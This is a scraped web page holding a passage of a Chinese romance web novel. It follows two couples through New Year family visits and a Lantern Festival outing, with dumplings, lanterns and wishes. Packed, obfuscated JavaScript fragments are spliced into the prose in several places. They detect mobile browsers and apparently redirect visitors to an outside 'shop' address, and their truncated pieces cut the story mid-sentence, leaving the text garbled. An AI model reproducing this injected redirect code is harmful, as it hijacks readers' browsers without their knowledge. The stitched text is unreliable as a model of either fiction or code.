l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271933|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家接一家,拜年,喝茶,聊天,吃饭。 鹿之言收了一沓红包。 鹿炽也收了一沓。 陆知岩发出去一沓。 陆沉远也发出去一沓。 两个小孩的红包,全是从他们这儿出的。 晚上九点,终于走完了最后一家。 陆知岩开车回家,鹿之言靠在副驾驶座上,眼睛半眯着。 “累了?” “嗯。”鹿之言老实说,“有点。” 陆知岩笑了。 “刚才谁说不累的?” 鹿之言的睫毛动了动。 “……那是刚才。” 陆知岩没说话。 他把车停在一个红灯前,伸手握住鹿之言的手。 “之言。” “嗯。” “今天辛苦了。” 鹿之言转头看他。 路灯的光从窗外照进来,在他脸上投下明明灭灭的光影。 “你也辛苦了。”他说。 陆知岩愣了一下。 然后他笑了。 “那我们互相辛苦。” 鹿之言的嘴角弯了一下。 “……嗯。” 回到陆知岩家,已经快十点了。 鹿之言换了鞋,直接瘫在沙发上。 陆知岩走过去,在他身边坐下。 “饿不饿?” “不饿。”鹿之言说,“吃了一天。” “那洗澡?” “等会儿。” 陆知岩没说话。 他把鹿之言搂进怀里,让他靠在自己身上。 鹿之言没动。 他就这样靠着,闭着眼睛,听着陆知岩的心跳。 “陆知岩。” “嗯。” “今天收了多少红包?” 陆知岩想了想。 “发出去二十八个。”他说,“收到……两个。” 鹿之言的嘴角弯了一下。 “亏了。” “不亏。”陆知岩说,“发的都是小辈,应该的。” 鹿之言的睫毛动了动。 “我也是小辈。” 陆知岩低头看他。 “你想要红包?” 鹿之言没说话。 陆知岩从口袋里掏出一个红包。 鹿之言愣住了。 “你……” “给你的。”陆知岩把红包塞进他手里,“刚才特意留的。” 鹿之言看着手里的红包,一时不知道说什么。 “打开看看。” 鹿之言打开红包。 里面是一张纸条。 “明年还一起走亲戚。” 鹿之言的喉结动了动。 他抬头看陆知岩。 陆知岩的眼睛里,有他熟悉的温柔。 “每年都一起。”陆知岩说,“每年都给你留红包。” 鹿之言看着他。 看了很久。 然后他把脸埋进他怀里。 “……嗯。” 另一边,陆沉远和鹿炽也到家了。 鹿炽洗完澡出来,陆沉远正靠在床头看手机。 他走过去,爬上床。 “陆沉远。” “嗯。” “今天累不累?” 陆沉远想了想。 “有点。” “我也是。”鹿炽靠在他肩上,“但是挺开心的。” 陆沉远低头看他。 “开心什么?” “开心……”鹿炽想了想,“和你一起。” 陆沉远看着他。 鹿炽的眼睛亮亮的,里面有疲惫,但更多的是满足。 陆沉远低头,在他额头上亲了一下。 “我也是。” 鹿炽笑了。 他靠进他怀里,闭上眼睛。 “陆沉远。” “嗯。” “明天还走亲戚吗?” “不走了。”陆沉远说,“走完了。” “那后天呢?” “后天休息。” 鹿炽笑了。 “那可以睡懒觉了。” 陆沉远看着他困得迷迷糊糊的样子,心里软成一片。 “嗯。”他说,“睡到什么时候都行。” 鹿炽“嗯”了一声,呼吸渐渐平稳。 陆沉远没动。 他就这样看着他,看着他的睡颜。 窗外的夜色很深,城市的灯火明明灭灭。 他忽然想起小时候,过年走亲戚,总是不耐烦,觉得累,觉得烦。 但现在不一样了。 现在有鹿炽在身边。 累也开心。 他低头,又在他额头上亲了一下。 “新年快乐。”他轻声说。 鹿炽在睡梦中动了动,往他怀里靠了靠。 陆沉远笑了。 他关掉灯,把他搂紧。 43. 屿浩·大年初二 大年初二的早上,周浩是被林屿摇醒的。 不是温柔的轻拍,是那种“再不起来就要迟到了”的摇晃。 他睁开眼,看见林屿的脸近在咫尺。 “几点了……” “七点。”林屿说,“起来,今天要走亲戚。” 周浩愣了一下。 然后他想起今天是什么日子。 大年初二。 走亲戚的日子。 他惨叫一声,把脸埋进枕头里。 “我不想起来……” 林屿看着他。 “五家。” 周浩的声音闷闷的:“五家?” “嗯。” “从早到晚?” “嗯。” 周浩沉默了三秒。 然后他慢慢坐起来,头发乱成鸡窝,眼睛还眯着。 “走吧。” 林屿看着他那个样子,嘴角微微弯了一下。 他伸手,帮他理了理乱糟糟的头发。 “先去洗脸。” 周浩洗漱完出来,林妈妈已经在准备早饭了。 “小周起来啦?快来吃饺子!” 周浩坐下,看着碗里胖乎乎的饺子。 “阿姨,今天要去几家呀?” 林妈妈掰着手指数。 “先是你姑姑家,然后是你舅舅家,下午去你姨妈家,晚上还有你大伯家和二伯家。” 周浩张了张嘴。 “五家?” “嗯。”林妈妈点头,“过年嘛,亲戚多。” 周浩看向林屿。 林屿表情平静,低头吃饺子。 周浩忽然有点紧张。 “林屿。”他小声叫他。 “嗯。” “你那些亲戚……好相处吗?” 林屿想了想。 “还行。” “什么叫还行?” “就是……”林屿斟酌了一下,“有的话多,有的话少。” 周浩咽了口口水。 “话多的那种,问什么?” 林屿看着他。 “问你。” 周浩愣住了。 “问我?问我什么?” “问你是谁,家哪儿的,做什么的,怎么认识的……”林屿顿了顿,“什么时候结婚。” 周浩的脸红了。 “结、结婚?” “嗯。”林屿说,“他们爱问这个。” 周浩低头吃饺子,心跳很快。 “那……你怎么说?” 林屿看着他。 “实话实说。” “什么实话?” 林屿没说话。 但周浩看见他的耳尖微微红了一点。 八点半,林屿和周浩出门了。 第一站是姑姑家。 姑姑住在城东,老小区,五楼没电梯。 周浩爬楼的时候,一直在喘。 “林屿……” “嗯。” “你家亲戚怎么都住这么高?” 林屿想了想。 “可能都喜欢高处。” 周浩哭笑不得。 爬到五楼,姑姑家的门已经开了。 “哎呀,小屿来啦!”姑姑站在门口,笑容满面,“快进来快进来!” 周浩跟在林屿后面,有点紧张。 “这是……”姑姑看着他,眼睛亮了。 “周浩。”林屿说,“我对象。” 周浩愣住了。 林屿从来没在外面这么介绍过他。 对象。 两个字,说得那么自然。 姑姑笑得更开心了。 “哎呀,这就是周浩啊!小屿老提起你!” 周浩受宠若惊。 “姑、姑姑好!” “好好好!”姑姑拉着他的手往里走,“快进来,外面冷!” 客厅里坐着姑父和表姐。表姐旁边还有个小男孩,四五岁的样子,正趴在地上玩玩具。 “新年快乐新年快乐!”周浩开始拜年。 林屿跟在他后面,嘴角微微弯着。 表姐的儿子看见周浩,放下玩具,跑过来。 “哥哥!” 周浩愣了一下。 “叫哥哥?”他看向林屿。 “嗯。”林屿说,“表姐的儿子,叫林乐。” 周浩蹲下来,看着那个小男孩。 长得挺可爱,眼睛大大的,有点像林屿。 “你叫乐乐?” “嗯!”小男孩点头,“哥哥你是谁?” “我……”周浩想了想,“我是你林屿哥哥的朋友。” 小男孩歪着头看他。 “朋友是什么?” 周浩被问住了。 林屿在旁边说:“就是我喜欢的人。” 周浩愣住了。 他抬头看林屿。 林屿表情平静,像什么都没说。 小男孩眨眨眼。 “哦——那乐乐也有喜欢的人,是妈妈!” 周浩笑了。 他从口袋里掏出红包,递给小男孩。 “新年快乐,乐乐。” 小男孩接过红包,眼睛亮了。 “谢谢哥哥!” 他抱着红包跑去找妈妈,嘴里喊着:“妈妈妈妈!哥哥给我红包!” 周浩看着他的背影,心里软软的。 林屿走过来,站在他身边。 “喜欢小孩?” 周浩想了想。 “还行。”他说,“乐乐挺可爱的。” 林屿看着他。 “那以后我们也生一个。” 周浩愣住了。 “林屿你——” “开玩笑的。”林屿说,“男的不能生。” 周浩瞪他。 但心跳快得不行。 在姑姑家待了一个小时,又出发去下一家。 舅舅家。 舅舅家住在城西,是个新小区,电梯房。 一进门,舅妈就迎上来。 “小屿来啦!快进来快进来!” 她看见周浩,眼睛亮了。 “这就是周浩吧?真精神!” 周浩不好意思地挠头。 “舅妈好。” “好好好!”舅妈拉着他的手往里走,“舅妈给你准备了红包!” 客厅里坐着好几个人。舅舅、表弟、表弟的女朋友,还有两个老人——林屿的外公外婆。 周浩一看,更紧张了。 “外公外婆好!舅舅好!表弟好!” 他鞠了一躬,把所有人全拜了一遍。 林屿在旁边看着,嘴角微微弯着。 外公看着他,点点头。 “这小伙子挺精神。” 周浩不好意思地笑。 外婆招手让他过去。 “来,让外婆看看。” 周浩走过去,蹲在外婆面前。 外婆拉着他的手,上下打量。 “多大了?” “二十二。” “家哪儿的?” “本市,城东那边。” “爸妈做什么的?” “我爸是老师,我妈在医院。” 外婆点点头。 “挺好的。” 她从口袋里掏出一个红包,塞进周浩手里。 “拿着,外婆给的。” 周浩愣了一下。 “外婆,这——” “拿着。”外婆拍拍他的手,“你是小屿的人,就是自己人。” 周浩的眼眶有点酸。 他低头看着手里的红包,用力点头。 “谢谢外婆……” 林屿站在旁边,看着他。 周浩的眼睛红红的,但嘴角是笑的。 林屿走过去,在他旁边蹲下来。 “哭了?” “没有!”周浩立刻反驳,“就是……有点感动。” 林屿看着他。 然后他伸手,在他头上轻轻揉了一下。 “傻子。” 周浩瞪他。 但没躲。 在舅舅家吃了午饭,下午又赶去姨妈家。 姨妈家住在郊区,是个带院子的小别墅。 一进门,就被两条大狗扑上来。 周浩吓得往林屿身后躲。 “林屿!狗!” 林屿挡在他前面,对两条狗说:“坐下。” 两条狗居然真的坐下了。 周浩从林屿身后探出头。 “你……你还能指挥狗?” 林屿看了他一眼。 “我小时候经常来。” 周浩这才放心,从林屿身后出来。 姨妈站在门口,笑呵呵的。 “小屿来啦!这是周浩吧?快进来!” 周浩跟着进去,发现姨妈家里更热闹。 客厅里坐着五六个人,大人小孩都有。茶几上摆满了水果和点心,电视里放着春晚重播。 “新年快乐新年快乐!”周浩又开始拜年。 一圈拜下来,他累得够呛。 林屿递给他一杯水。 “喝点。” 周浩接过来,一口气喝完。 “林屿,你家亲戚真多……” “嗯。”林屿说,“还有两家。” 周浩叹了口气。 但他看看四周,又笑了。 虽然累,但挺热闹的。 他喜欢热闹。 姨妈家的小孩多,三个,从三岁到八岁。 最大的女孩叫小雨,八岁,扎着两个辫子。中间的是男孩,五岁,叫小宇。最小的也是女孩,三岁,叫小月亮。 周浩一进门,就被三个小孩围住了。 “哥哥哥哥!你陪我们玩!” 周浩被他们拉着,手足无措。 “玩、玩什么?” “搭积木!” “画画!” “讲故事!” 三个小孩同时喊,周浩头都大了。 林屿在旁边看着,嘴角微微弯着。 “你应付得来吗?” 周浩瞪他一眼。 “你别站着看啊!来帮忙! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林屿伸手,把他往自己这边揽了揽。 “睡吧。” “快到了叫我……” “嗯。” 周浩闭上眼睛,呼吸渐渐平稳。 林屿没动。 他就这样看着他,看着他的睡颜。 路灯的光从车窗外照进来,落在他脸上,明明灭灭。 林屿看了很久。 然后他低头,在他额头上亲了一下。 “新年快乐。”他轻声说。 周浩在睡梦中动了动,往他怀里靠了靠。 林屿笑了。 回到家,已经快十点了。 林妈妈给他们留了灯。 “回来啦?”她从卧室出来,“累不累?” “还行。”林屿说。 “小周呢?” 林屿低头看了一眼怀里的人——周浩还睡着,靠在林屿身上,睡得很沉。 林妈妈笑了。 “那快让他去睡吧。” 林屿点点头。 他把周浩扶到房间,轻轻放在床上。 脱鞋,脱外套,盖被子。 周浩迷迷糊糊地睁开眼。 “到了?” “嗯。”林屿说,“睡吧。” 周浩看着他。 “你呢?” “等会儿。” 周浩伸手,拉住他的衣角。 “一起睡。” 林屿愣了一下。 然后他笑了。 “好。” 他躺下来,把周浩搂进怀里。 周浩靠在他胸口,闭上眼睛。 “林屿。” “嗯。” “今天开心。” “嗯。” “和你一起走亲戚,开心。” 林屿低头,在他发顶亲了一下。 “我也是。” 周浩笑了。 他往他怀里又靠了靠。 “林屿。” “嗯。” “我爱你。” 林屿的心跳漏了一拍。 他低头看他。 周浩已经睡着了。 睫毛安静地覆着,嘴角还带着一点笑。 林屿看了很久。 然后他把他搂紧。 “……我也爱你。” 44. 元宵·灯火可亲 正月十五,元宵节。 陆知岩早上睁开眼的时候,窗外还灰蒙蒙的。他摸过手机看了眼时间——六点四十三。 比平时醒得早。 但他没动。 因为怀里有人。 鹿之言还在睡。背对着他,蜷成小小一团,呼吸均匀地打在他手腕上。昨晚医院临时有事,他被叫去加了个班,凌晨两点才回来,困得眼睛都睁不开,被陆知岩抱着洗了个澡,沾枕头就睡着了。 陆知岩低头,在他后颈上轻轻亲了一下。 鹿之言动了动,没醒。 又亲一下。 这次鹿之言翻了个身,迷迷糊糊睁开眼。 “……几点了?” “还早。”陆知岩说,“六点多。” 鹿之言的睫毛动了动,又想闭上眼睛。 陆知岩笑了。 “今天元宵节。” 鹿之言睁开眼。 “嗯。” “晚上去看灯?” 鹿之言看着他。 “你陪我去?” “嗯。”陆知岩说,“我陪你。” 鹿之言的嘴角微微弯了一下。 “……好。” 他又闭上眼睛,往陆知岩怀里靠了靠。 陆知岩搂紧他,没再说话。 窗外的天,慢慢亮了。 另一边,陆沉远也醒了。 他是被手机震醒的。 摸过来一看,是鹿炽的消息。 【炽】:起了吗? 【炽】:今天元宵节! 【炽】:晚上去看灯! 陆沉远看着那三个感叹号,嘴角弯了。 【远】:起了。 【远】:好。 【炽】:那几点来接我? 陆沉远想了想。 【远】:五点。 【炽】:好! 【炽】:我今天穿了新衣服! 【炽】:[图片] 陆沉远点开图片。 鹿炽站在镜子前,穿着件奶白色的毛衣,领口有一圈软软的毛。脸被遮住一半,但能看见嘴角弯着的弧度。 陆沉远看了好几秒。 【远】:好看。 【炽】:嘿嘿。 【炽】:晚上见! 陆沉远放下手机,看着天花板。 晚上。 灯会。 和鹿炽一起。 他忽然觉得,今天这一天,会过得很慢。 下午五点,陆沉远准时出现在鹿炽家门口。 鹿炽已经在楼下等着了。 他穿着那件奶白色毛衣,外面套了件浅灰色羽绒服,头发软软的,在路灯下看起来毛茸茸的。 看见陆沉远的车,他眼睛亮了。 跑过来,拉开车门,坐进去。 “等很久了吗?” “刚到。”陆沉远看着他,“你等很久了?” “没有。”鹿炽说,“我也刚到。” 陆沉远没说话。 他看着鹿炽。鹿炽被他看得有点不好意思,低下头。 “看什么……” “看你。”陆沉远说,“好看。” 鹿炽脸红了。 他把脸埋进围巾里,小声说:“走吧……不是说好去灯会吗?” 陆沉远笑了。 他发动车子。 “走。” 灯会在城东的公园里。 正月十五的晚上,公园里人山人海。到处都是牵着手的情侣,带着孩子的父母,还有举着糖葫芦跑来跑去的小孩。 陆知岩停好车,牵着鹿之言往里走。 鹿之言被他牵着,表情平静,但眼睛在四处看。 “之言。” “嗯。” “想吃什么?” 鹿之言的视线落在一个糖葫芦摊上。 陆知岩顺着他的视线看过去。 糖葫芦。山楂的,草莓的,小番茄的,穿成一串串,在灯光下亮晶晶的。 “想吃那个?” 鹿之言沉默了一秒。 “……草莓的。” 陆知岩笑了。 他拉着鹿之言走过去,买了两串草莓糖葫芦。 鹿之言接过来,咬了一颗。 陆知岩看着他。 “甜吗?” “嗯。” 陆知岩凑过去,就着他的手也咬了一颗。 鹿之言愣了一下。 “你干嘛——” “尝尝。”陆知岩嚼着草莓,“确实甜。” 鹿之言看着他。 陆知岩的嘴角沾了一点点糖。 鹿之言伸手,帮他擦掉。 陆知岩愣住了。 “之言你——” “走吧。”鹿之言移开视线,“前面有灯谜。” 他往前走,耳尖红红的。 陆知岩站在原地,摸了摸被他擦过的嘴角。 笑了。 另一边,陆沉远和鹿炽也在逛。 鹿炽手里拿着个兔子灯——刚进门的时候看见的,他多看了一眼,陆沉远就买了。 “陆沉远。” “嗯。” “这个灯好可爱。” “嗯。” “你也觉得可爱?” 陆沉远看着他。 “你可爱。” 鹿炽愣了一下,然后脸红了。 他低头看兔子灯,不敢抬头。 但嘴角压不住。 走到灯谜区,人更多了。 大红灯笼挂了一排,每个灯笼下面垂着一张纸条,写着谜面。 鹿炽仰头看。 “这个——‘山上还有山’,打一字。” 他想了想。 “是‘出’?” 旁边的工作人员笑着点头。 “对了!小帅哥真聪明!” 鹿炽脸红了。 陆沉远在旁边说:“我也猜一个。” 他看了看,指着一张纸条。 “‘十五天’,打一字。” 鹿炽想了想。 “十五天?半个月……是‘胖’?” 工作人员又笑了。 “对!你们俩真厉害!” 鹿炽看着陆沉远。 “你怎么猜到的?” 陆沉远想了想。 “因为半个月是‘半’和‘月’……”他顿了顿,“拼起来就是‘胖’。” 鹿炽眨眨眼。 “你好厉害。” 陆沉远看着他。 “你也是。” 鹿炽又脸红了。 旁边的工作人员看着他们,笑得眼睛都弯了。 逛了一圈,他们在一个汤圆摊前停下来。 热气腾腾的锅,白胖的汤圆在里面翻滚。 “老板,两碗黑芝麻的。”陆知岩说。 “好嘞!” 他拉着鹿之言在旁边的小桌边坐下。 汤圆端上来,热腾腾的,冒着白气。 鹿之言低头,吹了吹,咬一口。 黑芝麻馅流出来,甜香四溢。 “好吃吗?”陆知岩问。 “……嗯。” 陆知岩笑了。 他也低头吃。 吃了两口,忽然说:“之言。” “嗯。” “明年还来。” 鹿之言的筷子顿了一下。 “好。” “后年也来。” “好。” “每年都来。” 鹿之言抬头看他。 灯笼的光落在陆知岩脸上,把他的眼睛映得亮亮的。 鹿之言看了他几秒。 然后他低头,继续吃汤圆。 但嘴角弯着。 “好。” 另一边,陆沉远和鹿炽也买了汤圆。 花生馅的。 鹿炽小口小口地吃,腮帮子鼓鼓的。 陆沉远看着他。 “好吃吗?” “嗯嗯。”鹿炽点头,“你尝尝。” 他舀起一个,递到陆沉远嘴边。 陆沉远愣了一下。 然后低头,吃掉。 鹿炽看着他。 “好吃吗?” “嗯。”陆沉远说,“你喂的,更好吃。” 鹿炽脸红了。 他低头继续吃,不敢抬头。 但嘴角压不住。 吃完汤圆,天完全黑了。 灯会的高潮来了——放花灯。 湖边排起了长队,都是等着放灯的人。 陆知岩牵着鹿之言,排在队伍里。 “之言。” “嗯。” “以前放过花灯吗?” “没有。”鹿之言说,“第一次。” 陆知岩看着他。 “我也是第一次。” 鹿之言的睫毛动了动。 “那我们一起。” “好。” 队伍慢慢往前挪。 终于轮到他们。 陆知岩买了两盏荷花灯,粉色的花瓣,中间一小截蜡烛。 “许个愿。”工作人员说,“写在纸上,塞进灯里。” 陆知岩拿着纸笔,想了想。 他写了一行字,折好,塞进灯里。 鹿之言也写了一行,塞进去。 点燃蜡烛,把灯放进湖里。 两盏荷花灯,一前一后,随着水流慢慢漂远。 鹿之言看着那两盏灯,漂啊漂,漂进夜色里。 “之言。” “嗯。” “你许的什么愿?” 鹿之言转头看他。 “不告诉你。” 陆知岩笑了。 “那我也不告诉你。” “幼稚。” “嗯,你的幼稚。” 鹿之言没说话。 但他伸手,握住了陆知岩的手。 陆知岩愣了一下。 然后他把他的手握紧。 两盏灯漂远了,融进满湖的灯火里。 岸边,陆沉远和鹿炽也刚放完灯。 鹿炽看着那两盏漂远的灯,眼睛亮亮的。 “陆沉远。” “嗯。” “你许的什么愿?” 陆沉远想了想。 “不告诉你。” 鹿炽笑了。 “那我也不告诉你。” “嗯。”陆沉远说,“等实现了再说。” 鹿炽看着他。 “会实现吗?” “会。”陆沉远说,“一定会。” 鹿炽笑了。 他靠进陆沉远怀里,看着满湖的灯火。 “陆沉远。” “嗯。” “今天开心。” “我也是。” “明年还来。” “好。” “后年也来。” “好。” “每年都来。” 陆沉远低头,在他发顶亲了一下。 “每年都来。” 鹿炽闭上眼睛。 湖风吹过来,有点凉,但他不冷。 因为他在。 这就够了。 晚上九点,灯会散了。 人群往外走,两对人被人流挤散又聚拢。 陆知岩一直牵着鹿之言的手,没松开过。 陆沉远也是,一直牵着鹿炽。 走出公园,外面已经排起了长长的车队。 陆知岩看了眼手机。 “堵车了,可能要等一会儿。” 鹿之言站在他旁边。 “那就等。” 陆知岩看着他。 “冷吗?” “不冷。” 陆知岩不信。 他伸手摸了摸鹿之言的脸——冰的。 “这叫不冷?” 他把自己围巾解下来,围在鹿之言脖子上。 鹿之言愣了一下。 “你——” “别说话。”陆知岩把围巾整理好,“围好。” 鹿之言看着他。 陆知岩的脸被风吹得有点红,但眼睛很亮。 鹿之言的喉结动了动。 “……谢谢。” 陆知岩笑了。 “不客气。” 另一边,陆沉远也在给鹿炽围围巾。 “手给我。” 鹿炽伸出手。 陆沉远握住,放进自己口袋里。 鹿炽愣了一下。 “你口袋——” “暖和。”陆沉远说,“放这儿。” 鹿炽低下头。 耳尖红红的。 但嘴角弯着。 等了二十分钟,车流终于动了。 两辆车一前一后,驶入夜色。 回到家,已经快十一点了。 陆知岩关上门,把鹿之言抵在玄关。 “之言。” “嗯。” “元宵节快乐。” 鹿之言看着他。 “你刚才说过了。” “再说一遍。”陆知岩说,“想听你说。” 鹿之言的睫毛动了动。 他看着陆知岩。 看了很久。 然后他踮起脚,在他嘴角亲了一下。 “元宵节快乐。”他轻声说。 陆知岩愣住了。 然后他低头,吻住他。 客厅没开灯,只有窗外的月光。 鹿之言被他吻着,手攀上他的肩。 “陆知岩。” “嗯。” “今晚……” “嗯?” 鹿之言的耳尖红透了。 “今晚……和你一起。” 陆知岩看着他。 月光下,鹿之言的眼里有光。 陆知岩把他抱起来。 “好。” 另一边,陆沉远和鹿炽也在玄关。 鹿炽刚换好鞋,就被陆沉远从后面抱住。 “陆沉远……” “嗯。” “干嘛……” “想抱你。”陆沉远把下巴抵在他肩上,“抱一会儿。” 鹿炽没动。 他就这样站着,被陆沉远从后面抱着。 窗外的月光落进来,把他们的影子拉得很长。 “陆沉远。” “嗯。” “今天真开心。” “我也是。” “以后每年都这样过。” “好。” “每年都一起看灯,一起吃汤圆,一起放花灯。” 陆沉远把他转过来,面对着自己。 “每年都和你一起。”他说。 鹿炽看着他。 眼睛亮亮的。 他踮起脚,在陆沉远嘴角亲了一下。 “那说好了。” 陆沉远低头,吻住他。 月光温柔。 夜还很长。 但他们有一辈子。 凌晨一点,陆知岩还没睡。 他搂着鹿之言,看着他的睡颜。 他的之言,睡着的时候最乖。 睫毛安静地覆着,呼吸平稳,嘴角微微弯着。 陆知岩低头,在他额头上亲了一下。 “元宵节快乐。”他轻声说。 鹿之言在睡梦中动了动,往他怀里靠了靠。 陆知岩笑了。 他闭上眼睛。 屿浩篇 正月十五早上,周浩是被一阵香味熏醒的。 不是林屿家的早餐香——是那种甜丝丝的、糯糯的、让人一闻就流口水的香味。 他睁开眼,盯着天花板愣了三秒。 然后猛地坐起来。 汤圆! 今天是元宵节! 他掀开被子冲出房间,差点在门口绊一跤。 客厅里,林妈妈正在煮汤圆。热气腾腾的锅,白胖的汤圆在里面翻滚。 “小周起来啦?”林妈妈回头看他,“快去洗脸,汤圆马上好!” 周浩吸了吸鼻子。 “阿姨,什么馅的?” “黑芝麻的,花生的,还有你爱吃的红豆沙!” 周浩眼睛亮了。 “红豆沙!” 他跑去洗漱,飞快地洗完,又飞快地跑回餐桌边坐下。 林屿已经在那儿了。 他穿着家居服,头发还有点乱,但看起来清清爽爽的。面前放着一碗汤圆,热气往上冒。 周浩在他旁边坐下。 “林屿。” “嗯。” “元宵节快乐!” 林屿看着他。 “快乐。” 周浩笑得眼睛弯弯的。 林妈妈端了两碗汤圆过来,一人一碗。 “吃吧吃吧,刚煮好的。” 周浩低头看自己那碗。 白白的,圆圆的,六个。 他舀起一个,咬一口。 红豆沙馅流出来,甜得恰到好处。 “好吃!”他含糊不清地说。 林屿在旁边看着他。 “慢点吃,没人跟你抢。” 周浩咽下去,嘿嘿笑。 “太香了嘛。” 林屿没说话。 但他把自己碗里的红豆沙汤圆,夹了一个放进周浩碗里。 周浩愣住了。 “林屿你——” “多吃点。”林屿低头吃自己的,“你喜欢。” 周浩看着碗里多出来的那个汤圆,又看看林屿。 林屿表情平静,但耳尖红了一点。 周浩笑了。 他低头继续吃,心里甜滋滋的。 吃完早饭,林妈妈开始张罗晚上的汤圆。 “今晚咱们自己做!”她说,“想吃什么馅就包什么馅!” 周浩举手。 “我要包红豆沙的!” 林屿看了他一眼。 “你包得出来吗?” 周浩不服气。 “当然包得出来!我跟我姥姥学过包饺子!” 林屿的嘴角微微弯了一下。 “那不一样。” “怎么不一样?都是面团包馅!” 林屿没反驳。 他只是说:“那我等着看。” 周浩斗志昂扬。 “等着!” 下午三点,开始包汤圆。 林妈妈把糯米粉和好,搓成一个大面团。红豆沙、黑芝麻、花生,三种馅摆在小碗里。 周浩撸起袖子,信心满满。 他揪了一小块面团,按扁,舀一勺红豆沙放上去,然后…… 包不上了。 馅太多了。 他又挖出来一点,再包。 这次包上了,但是…… “林屿。” “嗯。” “我这个……怎么不圆?” 林屿看了一眼他手里那个奇形怪状的东西。 像一颗被压扁的土豆。 林屿沉默了一秒。 “挺有创意的。” 周浩:“……” 林妈妈在旁边笑出声。 “没事没事,第一次包都这样!”她安慰周浩,“多包几个就好了!” 周浩不服输。 他又揪了一团面。 这次他学聪明了,馅放少一点,慢慢收口,搓圆。 终于,一个勉强能看的汤圆诞生了。 周浩举着它,得意洋洋。 “看!圆了!” 林屿看了看。 确实比刚才那个好多了。 “嗯。”他说,“进步了。” 周浩更得意了。 他继续包,越包越熟练。 最后包了十几个,虽然大小不一,但至少都是圆的。 林屿包的也在旁边。 整整齐齐,大小一致,像复制粘贴的。 周浩对比了一下,默默把自己的往旁边挪了挪。 林屿看见了。 “怎么了?” “没什么。”周浩说,“你包得太好看了,我的不好意思放在一起。” 林屿愣了一下。 然后他伸手,把周浩包的几个拿过来,和自己的混在一起。 “现在分不清了。” 周浩看着那堆汤圆。 确实,混在一起之后,看不出谁包的了。 他抬头看林屿。 林屿表情平静,继续包下一个。 但周浩看见他的耳尖,又红了。 傍晚五点,汤圆包好了。 林妈妈煮了一锅,剩下的冻起来,留着以后吃。 周浩坐在餐桌边,看着自己包的那些汤圆在锅里翻滚。 “林屿。” “嗯。” “你说我包的会不会煮破了?” “不会。” “你怎么知道?” 林屿看着他。 “因为你包的时候,褶子捏得很紧。” 周浩愣了一下。 “你……你看了?” “嗯。”林屿说,“一直在看。” 周浩脸红了。 他低下头,假装专注地看锅。 但嘴角压不住。 汤圆煮好了。 每人一碗,热气腾腾的。 周浩低头找自己包的。 找了一圈,没找到。 “林屿,我包的那些呢?” 林屿指了指他的碗。 “这里面。” 周浩低头看。 确实有几个长得比较有个性的,一看就是他的手笔。 他笑了。 舀起一个自己包的,咬一口。 红豆沙馅,甜丝丝的。 “好吃!”他说,“自己包的特别好吃!” 林屿看着他。 “我包的也好吃吗?” 周浩愣了一下。 然后他笑了。 “都好吃。”他说,“你包的,我包的,都好吃。” 林屿的嘴角微微弯了一下。 低头吃汤圆。 吃完汤圆,天黑了。 林妈妈在阳台往外看。 “今晚有灯会呢,你们不去看看?” 周浩眼睛亮了。 “灯会?” “嗯。”林妈妈说,“城东公园,每年都有。” 周浩看向林屿。 林屿正看着他。 “想去?” 周浩点头。 “想!” 林屿站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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逛了一圈,他们在糖葫芦摊前停下来。 周浩看着那一串串亮晶晶的糖葫芦,走不动路了。 “林屿。” “嗯。” “想吃。” 林屿低头看他。 周浩的眼睛亮晶晶的,里面有糖葫芦的倒影。 “买。” 他买了两串,一串山楂的,一串草莓的。 周浩接过来,咬一口山楂的。 酸酸甜甜的。 “好吃!”他含糊不清地说。 林屿看着他鼓鼓的腮帮子,嘴角弯了弯。 “慢点吃。” 周浩咽下去,又咬一口草莓的。 “林屿,你也吃!” 他把草莓的递到林屿嘴边。 林屿低头,咬了一颗。 “甜吗?”周浩问。 “嗯。” 周浩笑了。 他一边走一边吃,两串糖葫芦很快就剩最后一颗了。 那颗草莓的,他举起来看了看。 然后递到林屿嘴边。 “最后一个,给你。” 林屿看着他。 “你吃。” “你吃。”周浩坚持,“我吃了好多颗了。” 林屿看了他几秒。 然后低头,吃掉那颗草莓。 周浩笑了。 他把竹签扔进垃圾桶,又牵起林屿的手。 “走吧!前面还有!” 逛到湖边,他们看见有人在放花灯。 五颜六色的荷花灯,漂在湖面上,随着水流慢慢远去。 周浩第一次见,看得入迷。 “林屿,那个可以放吗?” “可以。”林屿说,“那边有卖的。” 周浩拉着他跑过去。 “老板,两个花灯!” 他买了两个,粉色的。 “写心愿吗?”工作人员递过来两张小纸片,“写了塞进灯里,许的愿更容易实现。” 周浩接过纸笔,想了想。 他写下一行字,折好,塞进灯里。 林屿也写好了。 点燃蜡烛,把灯放进湖里。 两盏荷花灯,一前一后,慢慢漂远。 周浩看着那两盏灯,漂啊漂,漂进夜色里。 “林屿。” “嗯。” “你许的什么愿?” 林屿转头看他。 “不告诉你。” 周浩笑了。 “那我也不告诉你。” “嗯。”林屿说,“等实现了再说。” 周浩看着他。 湖风吹过来,吹乱了他的头发。 周浩伸手,帮他理了理。 “林屿。” “嗯。” “今天开心吗?” 林屿看着他。 “你呢?” “我开心!”周浩说,“特别开心!第一次和你一起过元宵!” 林屿的嘴角微微弯了一下。 “我也是。”他说,“第一次。” 周浩愣了一下。 第一次? 林屿也是第一次? 他看着林屿,忽然眼眶有点酸。 “那以后每年都来。”他说,“每年都一起过。” 林屿看着他。 湖面的灯火映在他眼睛里,亮亮的。 “……好。” 周浩笑了。 他靠进林屿怀里,看着满湖的灯火。 “林屿。” “嗯。” “我爱你。” 林屿的心跳漏了一拍。 他低头看他。 周浩的眼睛亮亮的,里面有他的倒影。 林屿低头,在他额头上亲了一下。 “……我也爱你。” 湖风吹过来,有点凉。 但周浩不冷。 因为他在。 这就够了。 晚上九点,灯会散了。 他们牵着手,慢慢往外走。 